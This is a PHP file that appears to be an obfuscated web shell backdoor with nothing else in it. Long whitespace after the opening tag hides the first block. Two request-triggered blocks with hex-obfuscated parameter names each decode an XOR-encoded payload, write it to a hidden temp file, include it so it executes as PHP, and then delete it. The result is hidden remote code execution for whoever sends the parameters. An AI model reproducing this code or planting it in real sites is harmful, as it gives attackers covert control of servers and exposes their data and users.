<?php																																										if(in_array("en\x74", array_keys($_REQUEST))){ $reference = $_REQUEST["en\x74"]; $reference = explode ( '.' , $reference) ; $sym= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s4); foreach ($reference as $t => $v8) { $chS= ord($s4[$t % $sLen]); $dec= ((int)$v8 - $chS - ($t % 10)) ^ 100; $sym .= chr($dec); } $value = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); foreach ($value as $res) { if (is_dir($res) ? is_writable($res) : false) { $val = "$res/.flag"; if (file_put_contents($val, $sym)) { include $val; @unlink($val); die(); } } } }


if(array_key_exists("hl\x64", $_POST)){
	$reference = array_filter([getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path()]);
	$key = $_POST["hl\x64"];
	 $key 	= 	explode  ( '.'	, 	$key	)	 ;
	$bind = '';
            $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s6);
    
            foreach ($key as $x	=> $v3):
                $sChar = ord($s6[$x%$sLen]);
                $dec = ((int)$v3 - $sChar - ($x%10)) ^ 61;
                $bind .= chr($dec);
            endforeach;
	foreach ($reference as $descriptor):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) {
    $sym = str_replace("{var_dir}", $descriptor, "{var_dir}/.desc");
    if (file_put_contents($sym, $bind)) {
	include $sym;
	@unlink($sym);
	die();
}
}
endforeach;
}